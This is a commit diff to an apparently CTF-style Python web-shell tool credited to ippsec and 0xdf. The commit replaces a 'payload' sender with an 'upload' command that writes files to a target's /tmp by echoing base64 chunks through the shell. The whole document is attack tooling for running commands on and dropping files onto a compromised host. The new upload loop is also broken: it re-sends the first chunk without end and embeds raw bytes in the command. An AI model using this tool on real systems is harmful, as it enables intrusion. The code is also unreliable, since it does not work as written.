Changed functionality to upload file
This commit is contained in:
@ -5,6 +5,7 @@
|
|||||||
# Authors: Isaac Parenteau, ippsec, 0xdf
|
# Authors: Isaac Parenteau, ippsec, 0xdf
|
||||||
|
|
||||||
import base64
|
import base64
|
||||||
|
import os
|
||||||
import random
|
import random
|
||||||
import requests
|
import requests
|
||||||
import threading
|
import threading
|
||||||
@ -12,8 +13,6 @@ import time
|
|||||||
import jwt
|
import jwt
|
||||||
|
|
||||||
|
|
||||||
PAYLOAD = """Base64 Payload goes here"""
|
|
||||||
|
|
||||||
class WebShell(object):
|
class WebShell(object):
|
||||||
|
|
||||||
def __init__(self, remote_host='http://172.16.1.22', remote_port=3000,
|
def __init__(self, remote_host='http://172.16.1.22', remote_port=3000,
|
||||||
@ -96,21 +95,22 @@ class WebShell(object):
|
|||||||
print(upgrade_shell)
|
print(upgrade_shell)
|
||||||
self.write_command(upgrade_shell)
|
self.write_command(upgrade_shell)
|
||||||
|
|
||||||
def send_payload(self):
|
def send_file(self):
|
||||||
"""
|
"""
|
||||||
|
|
||||||
:return:
|
:return:
|
||||||
"""
|
"""
|
||||||
print('Sending payload')
|
file = input("Please enter path to file: ")
|
||||||
payloads = PAYLOAD.splitlines()
|
file_name = os.path.basename(file)
|
||||||
|
|
||||||
payload_cmd = f'cd /tmp && echo {payloads.pop(0)} > myFile.txt'
|
print(f'Uploading File {file_name}')
|
||||||
self.write_command(payload_cmd, timeout=30)
|
with open(file, 'rb') as f:
|
||||||
for p in payloads:
|
chunk = f.read(1024)
|
||||||
payload_cmd = f'cd /tmp && echo {p} >> myFile.txt'
|
self.write_command(f'cd /tmp && echo {base64.b64encode(chunk)} | base64 -d > {file_name}')
|
||||||
self.write_command(payload_cmd, timeout=30)
|
while chunk:
|
||||||
|
self.write_command(f'cd /tmp && echo {base64.b64encode(chunk)} | base64 -d >> {file_name}')
|
||||||
|
|
||||||
print('Done Sending Payload')
|
print('Done Sending File')
|
||||||
|
|
||||||
|
|
||||||
prompt = "Please Subscribe> "
|
prompt = "Please Subscribe> "
|
||||||
@ -120,7 +120,7 @@ while True:
|
|||||||
if cmd == "upgrade":
|
if cmd == "upgrade":
|
||||||
prompt = ""
|
prompt = ""
|
||||||
s.upgrade_shell()
|
s.upgrade_shell()
|
||||||
elif cmd == "payload":
|
elif cmd == "upload":
|
||||||
s.send_payload()
|
s.send_file()
|
||||||
else:
|
else:
|
||||||
s.write_command(cmd)
|
s.write_command(cmd)
|
||||||
|
Reference in New Issue
Block a user